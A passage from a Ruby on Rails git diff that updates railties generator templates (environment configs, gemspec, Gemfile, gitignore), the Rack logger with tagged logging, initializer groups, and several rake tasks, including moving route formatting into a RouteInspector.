file, but it's generally better to create a new file per style scope. * *= require_self - *= require_tree . -*/
\ No newline at end of file + *= require_tree . +*/ diff --git a/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt b/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt index c63d1b6ac5..bba96a7431 100644 --- a/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt +++ b/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt @@ -2,7 +2,7 @@ <html> <head> <title><%= camelized %></title> - <%%= stylesheet_link_tag "application" %> + <%%= stylesheet_link_tag "application", :media => "all" %> <%%= javascript_include_tag "application" %> <%%= csrf_meta_tags %> </head> diff --git a/railties/lib/rails/generators/rails/app/templates/config/application.rb b/railties/lib/rails/generators/rails/app/templates/config/application.rb index 7687b1beac..40fd843b1b 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/application.rb +++ b/railties/lib/rails/generators/rails/app/templates/config/application.rb @@ -12,10 +12,12 @@ require "active_resource/railtie" <%= comment_if :skip_test_unit %>require "rails/test_unit/railtie" <% end -%> -# If you have a Gemfile, require the default gems, the ones in the -# current environment and also include :assets gems if in development -# or test environments. -Bundler.require *Rails.groups(:assets) if defined?(Bundler) +if defined?(Bundler) + # If you precompile assets before deploying to production, use this line + Bundler.require(*Rails.groups(:assets => %w(development test))) + # If you want your assets lazily compiled in production, use this line + # Bundler.require(:default, :assets, Rails.env) +end module <%= app_const_base %> class Application < Rails::Application @@ -47,9 +49,17 @@ module <%= app_const_base %> # Configure sensitive parameters which will be filtered from the log file. config.filter_parameters += [:password] + # Use SQL instead of Active Record's schema dumper when creating the database. + # This is necessary if your schema can't be completely dumped by the schema dumper, + # like if you have constraints or database-specific column types + # config.active_record.schema_format = :sql + <% unless options.skip_sprockets? -%> # Enable the asset pipeline config.assets.enabled = true + + # Version of your assets, change this if you want to expire all your assets + config.assets.version = '1.0' <% end -%> end end diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt index 3e0c29a587..47078e3af9 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt +++ b/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt @@ -29,4 +29,7 @@ # Do not compress assets config.assets.compress = false + + # Expands the lines which load the assets + config.assets.debug = true end diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt index 06ed890e05..50f2df3d35 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt +++ b/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt @@ -14,9 +14,18 @@ # Compress JavaScripts and CSS config.assets.compress = true + # Don't fallback to assets pipeline if a precompiled asset is missed + config.assets.compile = false + + # Generate digests for assets URLs + config.assets.digest = true + + # Defaults to Rails.root.join("public/assets") + # config.assets.manifest = YOUR_PATH + # Specifies the header that your server uses for sending files - # (comment out if your front-end server doesn't support this) - config.action_dispatch.x_sendfile_header = "X-Sendfile" # Use 'X-Accel-Redirect' for nginx + # config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache + # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies. # config.force_ssl = true @@ -24,8 +33,11 @@ # See everything in the log (default is :info) # config.log_level = :debug + # Prepend all log lines with the following tags + # config.log_tags = [ :subdomain, :uuid ] + # Use a different logger for distributed setups - # config.logger = SyslogLogger.new + # config.logger = ActiveSupport::TaggedLogging.new(SyslogLogger.new) # Use a different cache store in production # config.cache_store = :mem_cache_store diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt index ee068b0202..37a8b81dad 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt +++ b/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt @@ -29,10 +29,10 @@ # ActionMailer::Base.deliveries array. config.action_mailer.delivery_method = :test - # Use SQL instead of Active Record's schema dumper when creating the test database. - # This is necessary if your schema can't be completely dumped by the schema dumper, - # like if you have constraints or database-specific column types - # config.active_record.schema_format = :sql + <%- unless options.skip_active_record? -%> + # Raise exception on mass assignment protection for ActiveRecord models + config.active_record.mass_assignment_sanitizer = :strict + <%- end -%> # Print deprecation notices to the stderr config.active_support.deprecation = :stderr diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt index fa1548db8b..d640f578da 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt +++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt @@ -4,9 +4,13 @@ # is enabled by default. # Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array. -ActionController::Base.wrap_parameters <%= key_value :format, "[:json]" %> +ActiveSupport.on_load(:action_controller) do + wrap_parameters <%= key_value :format, "[:json]" %> +end +<%- unless options.skip_active_record? -%> # Disable root element in JSON by default. -if defined?(ActiveRecord) - ActiveRecord::Base.include_root_in_json = false +ActiveSupport.on_load(:active_record) do + self.include_root_in_json = false end +<%- end -%> diff --git a/railties/lib/rails/generators/rails/app/templates/gitignore b/railties/lib/rails/generators/rails/app/templates/gitignore index 923b697662..eb3489a986 100644 --- a/railties/lib/rails/generators/rails/app/templates/gitignore +++ b/railties/lib/rails/generators/rails/app/templates/gitignore @@ -1,5 +1,15 @@ -.bundle -db/*.sqlite3 -log/*.log -tmp/ -.sass-cache/ +# See http://help.github.com/ignore-files/ for more about ignoring files. +# +# If you find yourself ignoring temporary files generated by your text editor +# or operating system, you probably want to add a global ignore instead: +# git config --global core.excludesfile ~/.gitignore_global + +# Ignore bundler config +/.bundle + +# Ignore the default SQLite database. +/db/*.sqlite3 + +# Ignore all logfiles and tempfiles. +/log/*.log +/tmp diff --git a/railties/lib/rails/generators/rails/app/templates/public/500.html b/railties/lib/rails/generators/rails/app/templates/public/500.html index b80307fc16..f3648a0dbc 100644 --- a/railties/lib/rails/generators/rails/app/templates/public/500.html +++ b/railties/lib/rails/generators/rails/app/templates/public/500.html @@ -20,7 +20,6 @@ <!-- This file lives in public/500.html --> <div class="dialog"> <h1>We're sorry, but something went wrong.</h1> - <p>We've been notified about this issue and we'll take a look at it shortly.</p> </div> </body> </html> diff --git a/railties/lib/rails/generators/rails/app/templates/public/index.html b/railties/lib/rails/generators/rails/app/templates/public/index.html index 9d9811a5bf..a1d50995c5 100644 --- a/railties/lib/rails/generators/rails/app/templates/public/index.html +++ b/railties/lib/rails/generators/rails/app/templates/public/index.html @@ -59,7 +59,7 @@ #header { - background-image: url("/assets/rails.png"); + background-image: url("assets/rails.png"); background-repeat: no-repeat; background-position: top left; height: 64px; diff --git a/railties/lib/rails/generators/rails/controller/templates/controller.rb b/railties/lib/rails/generators/rails/controller/templates/controller.rb index 8f5f78556f..52243f4a2f 100644 --- a/railties/lib/rails/generators/rails/controller/templates/controller.rb +++ b/railties/lib/rails/generators/rails/controller/templates/controller.rb @@ -3,7 +3,7 @@ class <%= class_name %>Controller < ApplicationController <% actions.each do |action| -%> def <%= action %> end - +<%= "\n" unless action == actions.last -%> <% end -%> end <% end -%> diff --git a/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb b/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb index 7c0a2b9cf4..cd7d51e628 100644 --- a/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb +++ b/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb @@ -11,14 +11,13 @@ module Rails def app if mountable? directory "app" - template "app/views/layouts/application.html.erb.tt", - "app/views/layouts/#{name}/application.html.erb" empty_directory_with_gitkeep "app/assets/images/#{name}" elsif full? empty_directory_with_gitkeep "app/models" empty_directory_with_gitkeep "app/controllers" empty_directory_with_gitkeep "app/views" empty_directory_with_gitkeep "app/helpers" + empty_directory_with_gitkeep "app/mailers" empty_directory_with_gitkeep "app/assets/images/#{name}" end end @@ -40,12 +39,13 @@ module Rails end def gitignore - copy_file "gitignore", ".gitignore" + template "gitignore", ".gitignore" end def lib template "lib/%name%.rb" template "lib/tasks/%name%_tasks.rake" + template "lib/%name%/version.rb" if full? template "lib/%name%/engine.rb" end @@ -246,8 +246,20 @@ task :default => :test "rails plugin new #{self.arguments.map(&:usage).join(' ')} [options]" end + def original_name + @original_name ||= File.basename(destination_root) + end + def name - @name ||= File.basename(destination_root) + @name ||= begin + # same as ActiveSupport::Inflector#underscore except not replacing '-' + underscored = original_name.dup + underscored.gsub!(/([A-Z]+)([A-Z][a-z])/,'\1_\2') + underscored.gsub!(/([a-z\d])([A-Z])/,'\1_\2') + underscored.downcase! + + underscored + end end def camelized @@ -256,11 +268,11 @@ task :default => :test def valid_const? if camelized =~ /^\d/ - raise Error, "Invalid plugin name #{name}. Please give a name which does not start with numbers." + raise Error, "Invalid plugin name #{original_name}. Please give a name which does not start with numbers." elsif RESERVED_NAMES.include?(name) - raise Error, "Invalid plugin name #{name}. Please give a name which does not match one of the reserved rails words." + raise Error, "Invalid plugin name #{original_name}. Please give a name which does not match one of the reserved rails words." elsif Object.const_defined?(camelized) - raise Error, "Invalid plugin name #{name}, constant #{camelized} is already in use. Please choose another plugin name." + raise Error, "Invalid plugin name #{original_name}, constant #{camelized} is already in use. Please choose another plugin name." end end diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec b/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec index eb1a1e5054..8588e88077 100644 --- a/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec +++ b/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec @@ -1,12 +1,27 @@ -# Provide a simple gemspec so you can easily use your -# project in your rails apps through git. +$:.push File.expand_path("../lib", __FILE__) + +# Maintain your gem's version: +require "<%= name %>/version" + +# Describe your gem and declare its dependencies: Gem::Specification.new do |s| - s.name = "<%= name %>" - s.summary = "Insert <%= camelized %> summary." - s.description = "Insert <%= camelized %> description." + s.name = "<%= name %>" + s.version = <%= camelized %>::VERSION + s.authors = ["TODO: Your name"] + s.email = ["TODO: Your email"] + s.homepage = "TODO" + s.summary = "TODO: Summary of <%= camelized %>." + s.description = "TODO: Description of <%= camelized %>." + s.files = Dir["{app,config,db,lib}/**/*"] + ["MIT-LICENSE", "Rakefile", "README.rdoc"] <% unless options.skip_test_unit? -%> s.test_files = Dir["test/**/*"] <% end -%> - s.version = "0.0.1" + + <%= '# ' if options.dev? || options.edge? -%>s.add_dependency "rails", "~> <%= Rails::VERSION::STRING %>" +<% if full? && !options[:skip_javascript] -%> + # s.add_dependency "<%= "#{options[:javascript]}-rails" %>" +<% end -%> + + s.add_development_dependency "<%= gem_for_database %>" end diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile b/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile index 7e6eb18341..f4efd3af74 100644 --- a/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile +++ b/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile @@ -1,14 +1,23 @@ source "http://rubygems.org" -<%= rails_gemfile_entry -%> +# Declare your gem's dependencies in <%= name %>.gemspec. +# Bundler will treat runtime dependencies like base dependencies, and +# development dependencies will be added by default to the :development group. +gemspec -<% if full? -%> -<%= database_gemfile_entry -%> -<% end -%> +# jquery-rails is used by the dummy application +gem "jquery-rails" -<% if mountable? -%> -<%= javascript_gemfile_entry -%> -<% end -%> +# Declare any dependencies that are still in development here instead of in +# your gemspec. These might include edge Rails or gems from your path or +# Git. Remember to move these dependencies to your gemspec before releasing +# your gem to rubygems.org. +<% if options.dev? || options.edge? -%> +# Your gem is dependent on dev or edge Rails. Once you can lock this +# dependency down to a specific version, move it to your gemspec. +<%= rails_gemfile_entry -%> + +<% end -%> # To use debugger -# <%= ruby_debugger_gemfile_entry %>
\ No newline at end of file +# <%= ruby_debugger_gemfile_entry %> diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/app/mailers/.empty_directory b/railties/lib/rails/generators/rails/plugin_new/templates/app/mailers/.empty_directory new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/lib/rails/generators/rails/plugin_new/templates/app/mailers/.empty_directory diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/application.html.erb.tt b/railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/%name%/application.html.erb.tt index 01550dec2f..bd983fb90f 100644 --- a/railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/application.html.erb.tt +++ b/railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/%name%/application.html.erb.tt @@ -2,7 +2,7 @@ <html> <head> <title><%= camelized %></title> - <%%= stylesheet_link_tag "<%= name %>/application" %> + <%%= stylesheet_link_tag "<%= name %>/application", :media => "all" %> <%%= javascript_include_tag "<%= name %>/application" %> <%%= csrf_meta_tags %> </head> diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/gitignore b/railties/lib/rails/generators/rails/plugin_new/templates/gitignore index 1463de6dfb..92bd3c614b 100644 --- a/railties/lib/rails/generators/rails/plugin_new/templates/gitignore +++ b/railties/lib/rails/generators/rails/plugin_new/templates/gitignore @@ -1,6 +1,6 @@ .bundle/ log/*.log pkg/ -test/dummy/db/*.sqlite3 -test/dummy/log/*.log -test/dummy/tmp/
\ No newline at end of file +<%= dummy_path %>/db/*.sqlite3 +<%= dummy_path %>/log/*.log +<%= dummy_path %>/tmp/
\ No newline at end of file diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/version.rb b/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/version.rb new file mode 100644 index 0000000000..ef07ef2e19 --- /dev/null +++ b/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/version.rb @@ -0,0 +1,3 @@ +module <%= camelized %> + VERSION = "0.0.1" +end diff --git a/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb b/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb index 32b961d9fc..4ff15fd288 100644 --- a/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb +++ b/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb @@ -62,7 +62,7 @@ class <%= controller_class_name %>Controller < ApplicationController respond_to do |format| if @<%= orm_instance.update_attributes("params[:#{singular_table_name}]") %> format.html { redirect_to @<%= singular_table_name %>, <%= key_value :notice, "'#{human_name} was successfully updated.'" %> } - format.json { head :ok } + format.json { head :no_content } else format.html { render <%= key_value :action, '"edit"' %> } format.json { render <%= key_value :json, "@#{orm_instance.errors}" %>, <%= key_value :status, ':unprocessable_entity' %> } @@ -78,7 +78,7 @@ class <%= controller_class_name %>Controller < ApplicationController respond_to do |format| format.html { redirect_to <%= index_helper %>_url } - format.json { head :ok } + format.json { head :no_content } end end end diff --git a/railties/lib/rails/generators/resource_helpers.rb b/railties/lib/rails/generators/resource_helpers.rb index de01c858dd..3c5b39fa16 100644 --- a/railties/lib/rails/generators/resource_helpers.rb +++ b/railties/lib/rails/generators/resource_helpers.rb @@ -64,8 +64,8 @@ module Rails end begin - "#{options[:orm].to_s.classify}::Generators::ActiveModel".constantize - rescue NameError => e + "#{options[:orm].to_s.camelize}::Generators::ActiveModel".constantize + rescue NameError Rails::Generators::ActiveModel end end @@ -73,7 +73,7 @@ module Rails # Initialize ORM::Generators::ActiveModel to access instance methods. def orm_instance(name=singular_table_name) - @orm_instance ||= @orm_class.new(name) + @orm_instance ||= orm_class.new(name) end end end diff --git a/railties/lib/rails/generators/test_case.rb b/railties/lib/rails/generators/test_case.rb index ee85b70bb5..7319fb79f6 100644 --- a/railties/lib/rails/generators/test_case.rb +++ b/railties/lib/rails/generators/test_case.rb @@ -81,7 +81,7 @@ module Rails # # assert_file "app/controller/products_controller.rb" do |controller| # assert_instance_method :index, content do |index| - # assert_match /Product\.all/, index + # assert_match(/Product\.all/, index) # end # end # @@ -148,7 +148,7 @@ module Rails # # assert_migration "db/migrate/create_products.rb" do |migration| # assert_class_method :up, migration do |up| - # assert_match /create_table/, up + # assert_match(/create_table/, up) # end # end # @@ -161,7 +161,7 @@ module Rails # # assert_file "app/controller/products_controller.rb" do |controller| # assert_instance_method :index, content do |index| - # assert_match /Product\.all/, index + # assert_match(/Product\.all/, index) # end # end # diff --git a/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml b/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml index d4138ca2f5..5c8780aa64 100644 --- a/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml +++ b/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml @@ -1,4 +1,4 @@ -# Read about fixtures at http://api.rubyonrails.org/classes/Fixtures.html +# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/Fixtures.html <% unless attributes.empty? -%> one: diff --git a/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb b/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb index 01fe6dda7a..9ec2e34545 100644 --- a/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb +++ b/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb @@ -26,23 +26,23 @@ class <%= controller_class_name %>ControllerTest < ActionController::TestCase end test "should show <%= singular_table_name %>" do - get :show, <%= key_value :id, "@#{singular_table_name}.to_param" %> + get :show, <%= key_value :id, "@#{singular_table_name}" %> assert_response :success end test "should get edit" do - get :edit, <%= key_value :id, "@#{singular_table_name}.to_param" %> + get :edit, <%= key_value :id, "@#{singular_table_name}" %> assert_response :success end test "should update <%= singular_table_name %>" do - put :update, <%= key_value :id, "@#{singular_table_name}.to_param" %>, <%= key_value singular_table_name, "@#{singular_table_name}.attributes" %> + put :update, <%= key_value :id, "@#{singular_table_name}" %>, <%= key_value singular_table_name, "@#{singular_table_name}.attributes" %> assert_redirected_to <%= singular_table_name %>_path(assigns(:<%= singular_table_name %>)) end test "should destroy <%= singular_table_name %>" do assert_difference('<%= class_name %>.count', -1) do - delete :destroy, <%= key_value :id, "@#{singular_table_name}.to_param" %> + delete :destroy, <%= key_value :id, "@#{singular_table_name}" %> end assert_redirected_to <%= index_helper %>_path diff --git a/railties/lib/rails/initializable.rb b/railties/lib/rails/initializable.rb index 686a2dc0cb..04d5b55c69 100644 --- a/railties/lib/rails/initializable.rb +++ b/railties/lib/rails/initializable.rb @@ -10,6 +10,7 @@ module Rails attr_reader :name, :block def initialize(name, context, options, &block) + options[:group] ||= :default @name, @context, @options, @block = name, context, options, block end @@ -21,6 +22,10 @@ module Rails @options[:after] end + def belongs_to?(group) + @options[:group] == group || @options[:group] == :all + end + def run(*args) @context.instance_exec(*args, &block) end @@ -44,10 +49,10 @@ module Rails end end - def run_initializers(*args) + def run_initializers(group=:default, *args) return if instance_variable_defined?(:@ran) initializers.tsort.each do |initializer| - initializer.run(*args) + initializer.run(*args) if initializer.belongs_to?(group) end @ran = true end diff --git a/railties/lib/rails/paths.rb b/railties/lib/rails/paths.rb index de3d0b6fc5..b37421c09c 100644 --- a/railties/lib/rails/paths.rb +++ b/railties/lib/rails/paths.rb @@ -172,6 +172,10 @@ module Rails expanded.select { |f| File.exists?(f) } end + def existent_directories + expanded.select { |d| File.directory?(d) } + end + alias to_a expanded end end diff --git a/railties/lib/rails/plugin.rb b/railties/lib/rails/plugin.rb index ceddd25eaa..3e27688bb9 100644 --- a/railties/lib/rails/plugin.rb +++ b/railties/lib/rails/plugin.rb @@ -74,7 +74,8 @@ module Rails initializer :load_init_rb, :before => :load_config_initializers do |app| init_rb = File.expand_path("init.rb", root) if File.file?(init_rb) - config = app.config + # This double assignment is to prevent an "unused variable" warning on Ruby 1.9.3. + config = config = app.config # TODO: think about evaling initrb in context of Engine (currently it's # always evaled in context of Rails::Application) eval(File.read(init_rb), binding, init_rb) diff --git a/railties/lib/rails/rack.rb b/railties/lib/rails/rack.rb index d4a41b217e..d1ee96f7fd 100644 --- a/railties/lib/rails/rack.rb +++ b/railties/lib/rails/rack.rb @@ -1,6 +1,5 @@ module Rails module Rack - autoload :ContentLength, "rails/rack/content_length" autoload :Debugger, "rails/rack/debugger" autoload :Logger, "rails/rack/logger" autoload :LogTailer, "rails/rack/log_tailer" diff --git a/railties/lib/rails/rack/content_length.rb b/railties/lib/rails/rack/content_length.rb deleted file mode 100644 index 6839af4152..0000000000 --- a/railties/lib/rails/rack/content_length.rb +++ /dev/null @@ -1,38 +0,0 @@ -require 'action_dispatch' -require 'rack/utils' - -module Rails - module Rack - # Sets the Content-Length header on responses with fixed-length bodies. - class ContentLength - include ::Rack::Utils - - def initialize(app, sendfile=nil) - @app = app - @sendfile = sendfile - end - - def call(env) - status, headers, body = @app.call(env) - headers = HeaderHash.new(headers) - - if !STATUS_WITH_NO_ENTITY_BODY.include?(status.to_i) && - !headers['Content-Length'] && - !headers['Transfer-Encoding'] && - !(@sendfile && headers[@sendfile]) - - old_body = body - body, length = [], 0 - old_body.each do |part| - body << part - length += bytesize(part) - end - old_body.close if old_body.respond_to?(:close) - headers['Content-Length'] = length.to_s - end - - [status, headers, body] - end - end - end -end
\ No newline at end of file diff --git a/railties/lib/rails/rack/logger.rb b/railties/lib/rails/rack/logger.rb index 3be262de08..89de10c83d 100644 --- a/railties/lib/rails/rack/logger.rb +++ b/railties/lib/rails/rack/logger.rb @@ -1,32 +1,46 @@ require 'active_support/core_ext/time/conversions' +require 'active_support/core_ext/object/blank' module Rails module Rack # Log the request started and flush all loggers after it. class Logger < ActiveSupport::LogSubscriber - def initialize(app) - @app = app + def initialize(app, tags=nil) + @app, @tags = app, tags.presence end def call(env) - before_dispatch(env) - @app.call(env) - ensure - after_dispatch(env) + if @tags + Rails.logger.tagged(compute_tags(env)) { call_app(env) } + else + call_app(env) + end end protected - def before_dispatch(env) + def call_app(env) request = ActionDispatch::Request.new(env) path = request.filtered_path - - info "\n\nStarted #{request.request_method} \"#{path}\" " \ - "for #{request.ip} at #{Time.now.to_default_s}" + Rails.logger.info "\n\nStarted #{request.request_method} \"#{path}\" for #{request.ip} at #{Time.now.to_default_s}" + @app.call(env) + ensure + ActiveSupport::LogSubscriber.flush_all! end - def after_dispatch(env) - ActiveSupport::LogSubscriber.flush_all! + def compute_tags(env) + request = ActionDispatch::Request.new(env) + + @tags.collect do |tag| + case tag + when Proc + tag.call(request) + when Symbol + request.send(tag) + else + tag + end + end end end end diff --git a/railties/lib/rails/railtie.rb b/railties/lib/rails/railtie.rb index 8c88b25617..07a122e7d0 100644 --- a/railties/lib/rails/railtie.rb +++ b/railties/lib/rails/railtie.rb @@ -2,6 +2,7 @@ require 'rails/initializable' require 'rails/configuration' require 'active_support/inflector' require 'active_support/core_ext/module/introspection' +require 'active_support/core_ext/module/delegation' module Rails # Railtie is the core of the Rails framework and provides several hooks to extend @@ -180,7 +181,7 @@ module Rails def load_tasks(app=self) extend Rake::DSL if defined? Rake::DSL - self.class.rake_tasks.each { |block| block.call(app) } + self.class.rake_tasks.each { |block| self.instance_exec(app, &block) } # load also tasks from all superclasses klass = self.class.superclass @@ -195,7 +196,7 @@ module Rails end def railtie_namespace - @railtie_namespace ||= self.class.parents.detect { |n| n.respond_to?(:_railtie) } + @railtie_namespace ||= self.class.parents.detect { |n| n.respond_to?(:railtie_namespace) } end end end diff --git a/railties/lib/rails/tasks/documentation.rake b/railties/lib/rails/tasks/documentation.rake index 5d613e0698..1e7da5ccae 100644 --- a/railties/lib/rails/tasks/documentation.rake +++ b/railties/lib/rails/tasks/documentation.rake @@ -8,6 +8,8 @@ end # Monkey-patch to remove redoc'ing and clobber descriptions to cut down on rake -T noise class RDocTaskWithoutDescriptions < RDoc::Task + include ::Rake::DSL + def define task rdoc_task_name @@ -64,43 +66,43 @@ namespace :doc do rdoc.rdoc_files.include('README') gem_path('actionmailer') do |actionmailer| - %w(README.rdoc CHANGELOG MIT-LICENSE lib/action_mailer/base.rb).each do |file| + %w(README.rdoc CHANGELOG.md MIT-LICENSE lib/action_mailer/base.rb).each do |file| rdoc.rdoc_files.include("#{actionmailer}/#{file}") end end gem_path('actionpack') do |actionpack| - %w(README.rdoc CHANGELOG MIT-LICENSE lib/action_controller/**/*.rb lib/action_view/**/*.rb).each do |file| + %w(README.rdoc CHANGELOG.md MIT-LICENSE lib/action_controller/**/*.rb lib/action_view/**/*.rb).each do |file| rdoc.rdoc_files.include("#{actionpack}/#{file}") end end gem_path('activemodel') do |activemodel| - %w(README.rdoc CHANGELOG MIT-LICENSE lib/active_model/**/*.rb).each do |file| + %w(README.rdoc CHANGELOG.md MIT-LICENSE lib/active_model/**/*.rb).each do |file| rdoc.rdoc_files.include("#{activemodel}/#{file}") end end gem_path('activerecord') do |activerecord| - %w(README.rdoc CHANGELOG lib/active_record/**/*.rb).each do |file| + %w(README.rdoc CHANGELOG.md lib/active_record/**/*.rb).each do |file| rdoc.rdoc_files.include("#{activerecord}/#{file}") end end gem_path('activeresource') do |activeresource| - %w(README.rdoc CHANGELOG lib/active_resource.rb lib/active_resource/*).each do |file| + %w(README.rdoc CHANGELOG.md lib/active_resource.rb lib/active_resource/*).each do |file| rdoc.rdoc_files.include("#{activeresource}/#{file}") end end gem_path('activesupport') do |activesupport| - %w(README.rdoc CHANGELOG lib/active_support/**/*.rb).each do |file| + %w(README.rdoc CHANGELOG.md lib/active_support/**/*.rb).each do |file| rdoc.rdoc_files.include("#{activesupport}/#{file}") end end gem_path('railties') do |railties| - %w(README.rdoc CHANGELOG lib/{*.rb,commands/*.rb,generators/*.rb}).each do |file| + %w(README.rdoc CHANGELOG.md lib/{*.rb,commands/*.rb,generators/*.rb}).each do |file| rdoc.rdoc_files.include("#{railties}/#{file}") end end diff --git a/railties/lib/rails/tasks/engine.rake b/railties/lib/rails/tasks/engine.rake index 2152e811f5..eea8abe7d2 100644 --- a/railties/lib/rails/tasks/engine.rake +++ b/railties/lib/rails/tasks/engine.rake @@ -2,6 +2,7 @@ task "load_app" do namespace :app do load APP_RAKEFILE end + task :environment => "app:environment" if !defined?(ENGINE_PATH) || !ENGINE_PATH ENGINE_PATH = find_engine_path(APP_RAKEFILE) diff --git a/railties/lib/rails/tasks/misc.rake b/railties/lib/rails/tasks/misc.rake index 833fcb6f72..0dcca36d8b 100644 --- a/railties/lib/rails/tasks/misc.rake +++ b/railties/lib/rails/tasks/misc.rake @@ -1,5 +1,3 @@ -task :default => :test - task :rails_env do # TODO Do we really need this? unless defined? RAILS_ENV @@ -14,7 +12,7 @@ task :secret do end desc 'List versions of all Rails frameworks and the environment' -task :about do +task :about => :environment do puts Rails::Info end diff --git a/railties/lib/rails/tasks/routes.rake b/railties/lib/rails/tasks/routes.rake index 0c26bcf790..7dc54144da 100644 --- a/railties/lib/rails/tasks/routes.rake +++ b/railties/lib/rails/tasks/routes.rake @@ -3,35 +3,7 @@ task :routes => :environment do Rails.application.reload_routes! all_routes = Rails.application.routes.routes - if ENV['CONTROLLER'] - all_routes = all_routes.select{ |route| route.defaults[:controller] == ENV['CONTROLLER'] } - end - - routes = all_routes.collect do |route| - - reqs = route.requirements.dup - rack_app = route.app unless route.app.class.name.to_s =~ /^ActionDispatch::Routing/ - - endpoint = rack_app ? rack_app.inspect : "#{reqs[:controller]}##{reqs[:action]}" - constraints = reqs.except(:controller, :action) - - reqs = endpoint == '#' ? '' : endpoint - - unless constraints.empty? - reqs = reqs.empty? ? constraints.inspect : "#{reqs} #{constraints.inspect}" - end - - {:name => route.name.to_s, :verb => route.verb.to_s, :path => route.path, :reqs => reqs} - end - - # Skip the route if it's internal info route - routes.reject! { |r| r[:path] =~ %r{/rails/info/properties|^/assets} } - - name_width = routes.map{ |r| r[:name].length }.max - verb_width = routes.map{ |r| r[:verb].length }.max - path_width = routes.map{ |r| r[:path].length }.max - - routes.each do |r| - puts "#{r[:name].rjust(name_width)} #{r[:verb].ljust(verb_width)} #{r[:path].ljust(path_width)} #{r[:reqs]}" - end + require 'rails/application/route_inspector' + inspector = Rails::Application::RouteInspector.new + puts inspector.format(all_routes, ENV['CONTROLLER']).join "\n" end diff --git a/railties/lib/rails/test_help.rb b/railties/lib/rails/test_help.rb index 68f566274d..8d0d8cacac 100644 --- a/railties/lib/rails/test_help.rb +++ b/railties/lib/rails/test_help.rb @@ -24,7 +24,7 @@ if defined?(MiniTest) end end -if defined?(ActiveRecord) +if defined?(ActiveRecord::Base) require 'active_record/test_case' class ActiveSupport::TestCase diff --git a/railties/lib/rails/test_unit/testing.rake b/railties/lib/rails/test_unit/testing.rake index 33da2c0f5a..52d92cdd96 100644 --- a/railties/lib/rails/test_unit/testing.rake +++ b/railties/lib/rails/test_unit/testing.rake @@ -61,6 +61,7 @@ end # Recreated here from Active Support because :uncommitted needs it before Rails is available module Kernel + remove_method :silence_stderr # Removing old method to prevent method redefined warning def silence_stderr old_stderr = STDERR.dup STDERR.reopen(RbConfig::CONFIG['host_os'] =~ /mswin|mingw/ ? 'NUL:' : '/dev/null') @@ -71,6 +72,8 @@ module Kernel end end +task :default => :test + desc 'Runs test:units, test:functionals, test:integration together (also available: test:benchmark, test:profile, test:plugins)' task :test do tests_to_run = ENV['TEST'] ? ["test:single"] : %w(test:units test:functionals test:integration) @@ -120,8 +123,7 @@ namespace :test do unit_tests = models.map { |model| "test/unit/#{File.basename(model, '.rb')}_test.rb" } functional_tests = controllers.map { |controller| "test/functional/#{File.basename(controller, '.rb')}_test.rb" } - - unit_tests.uniq + functional_tests.uniq + (unit_tests + functional_tests).uniq.select { |file| 